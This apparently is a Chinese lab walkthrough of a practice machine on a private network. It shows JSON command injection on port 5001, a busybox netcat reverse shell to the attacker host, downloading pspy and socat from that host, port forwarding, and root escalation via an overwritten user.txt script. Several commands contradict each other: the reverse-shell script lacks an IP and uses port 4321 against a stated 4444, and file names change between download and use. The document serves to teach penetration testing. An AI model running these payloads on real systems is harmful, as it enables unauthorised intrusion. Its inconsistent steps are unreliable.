正文
kali攻击机地址:192.168.1.4
靶场地址:192.168.1.3
1、端口扫描
在kali里,使用nmap工具:
bash
nmap -sV -v -T4 -A 192.168.1.3

发现开放了22、80、5001端口。
2、代码审计
curl命令获取5001端口代码:
bash
curl 192.168.1.3:5001

服务器返回405 Method Not Allowed 错误.。含义:客户端(curl)使用的 HTTP 请求方法(默认是 GET)被目标服务器禁止,服务器明确该 URL 不支持当前请求方法。
那就换个写法:
bash
curl http://192.168.1.3:5001 -X POST

服务器返回415 Method Not Allowed 错误.。含义:不支持的媒体类型,请求的 Content-Type 头部没有设置为 application/json(服务器要求 POST 请求必须携带 JSON 格式数据,且显式声明该类型)。
换成标准的json请求:
bash
curl http://192.168.1.3:5001 -X POST -H 'Content-Type: application/json' -d '{"source_lang":"a","target_lang":"x"}'

要求还要传个text_list,修改一下:
bash
curl http://192.168.1.3:5001 -X POST -H 'Content-Type: application/json' -d '{"source_lang":"a","target_lang":"x","text_list":[]}'

可以看到返回了正确的请求。我们可以修改执行命令:
bash
curl http://192.168.1.3:5001 -X POST -H 'Content-Type: application/json' -d '{"source_lang":"a","target_lang":"x","text_list":["id"]}'

可以看到靶场返回了信息。
把id换成浏览器中的"就你也想要账号????"
bash
curl http://192.168.1.3:5001 -X POST -H 'Content-Type: application/json' -d '{"source_lang":"a","target_lang":"x","text_list":["就你也想要账号????"]}'
拿到靶场用户名和密码:

3、目录扫描
dirsearch -u 192.168.1.3目录扫描后发现有admin.php,用之前获取的账号密码登录:


4、NC反弹
出现熟悉的命令执行界面,开始nc反弹:
bash
busybox nc 192.168.1.4 4444 -e /bin/bash

kali调整bash格式:
bash
/usr/bin/script -qc /bin/bash /dev/null
stty raw -echo;fg
reset
xterm
sudo -l 查看可执行的操作,发现要密码,ctrl+c赶紧退出:

5、文件上传
kali上启动临时文件服务:
bash
python3 -m http.server 80
靶机去访问kali上的80端口,拿到pspy文件:
bash
busybox wget http://192.168.1.4/pspy64

给执行权限:
bash
chmod +x pspy
运行 pspy:
bash
./pspy
写入反弹 shell 脚本到 /tmp/test.sh :
bash
echo 'busybox nc 4321 -e /bin/bash' > /tmp/test.sh

| 部分 | 核心含义 |
|---|---|
echo 'xxx' |
把单引号里的内容作为字符串输出; |
busybox nc |
调用 busybox 内置的 nc(netcat)工具(靶机大概率没有单独安装 nc,busybox 是精简版兜底); |
4321 |
目标端口(攻击者会在 Kali 上监听 4444 端口,等待靶机连接); |
-e /bin/bash |
nc 的核心参数:-e = execute,意思是 "把 bash 绑定到这个网络连接"------ 靶机连接到 Kali 后,Kali 就能直接操作靶机的 bash; |
> /tmp/test.sh |
把前面的命令写入 /tmp/test.sh 文件(> 是覆盖写入,/tmp 目录有写入权限); |
为什么写入 /tmp/test.sh:www-data 只有 /tmp 目录有 "写入 + 执行" 权限,写其他目录会提示 Permission denied;
6、端口转发
ss -lntup查看靶机开放的网络端口,发现8000没有代理出去:

在kali里,安装静态编译版的socat
bash
# 下载静态编译的 socat(适配 x64 靶机)
wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O socat-static
传给靶机:
bash
busybox wget 192.168.1.4/socat
chmod +x socat

然后做一下端口映射成8111端口:
bash
./socat TCP-LISTEN:8111,fork TCP4:127.0.0.1:8000 &


查看系统中所有进程的完整信息(渗透测试中用来找高权限进程、可疑进程、可提权的进程)。
bash
ps -ef
| 参数 | 含义 |
|---|---|
-e |
显示所有进程(every process),不只是当前用户的; |
-f |
显示完整格式(full format),包含 UID、PID、PPID 等核心字段; |
可以看到这个城市是welcome用户跑起来的:

输出表头的含义:
| 表头 | 含义 | 对应值 |
|---|---|---|
UID |
运行该进程的用户 ID / 用户名(谁启动的进程) | root(表示这个进程由 root 管理员运行) |
PID |
进程 ID(进程的唯一标识,杀进程 / 查进程都靠它) | 1(Linux 中 PID=1 是核心初始化进程) |
PPID |
父进程 ID(这个进程由哪个进程启动) | 0(无父进程,是系统最核心的进程) |
C |
CPU 使用率(单位:百分比,数值越大占用 CPU 越高) | 0(几乎没占用 CPU) |
STIME |
进程启动时间(Start Time) | 05:47(凌晨 5 点 47 分启动) |
TTY |
进程关联的终端(? 表示无终端,后台 / 系统进程) | ?(说明是系统核心进程,不是终端启动的) |
TIME |
进程累计占用的 CPU 时间(不是运行时长) | 00:00:01(累计占用 1 秒 CPU) |
CMD |
启动进程的完整命令 | /sbin/init(Linux 系统初始化进程) |
7、用户文件(user.txt)权限漏洞利用
在/home/welcome目录下,只有user.txt文件是可读可写可执行,所以想办法把刚才写好的test.sh文件覆盖user.txt。
bash
cd /home/welcome
cat /tmp/test.sh > user.txt
cat user.txt

在代理出来的8111端口上,让user.txt文件指向真正的/tmp/test.sh(ps) 目录文件中。

这个时候kali就监测到nc反弹了:

最终拿到root用户权限。

PS:为什么是说是真正的/tmp/test.sh?
因为之前传socat的文件目录,并不是操作系统的/tmp目录,而是appache应用的/tmp目录:
bash
find / -name socat 2>/dev/null

| 部分 | 意思 |
|---|---|
find |
Linux 查找文件的命令 |
/ |
从根目录开始全盘搜索(整个系统都找) |
-name socat |
按文件名查找 ,名字叫 socat |
2>/dev/null |
把错误信息扔进垃圾桶(不显示烦人的权限不足) |
易错点

busybox 是 Linux 精简工具集,仅内置了 ls、wget、nc 等常用小程序,where 并非其默认包含的功能,因此无法通过 busybox where 实现文件查找。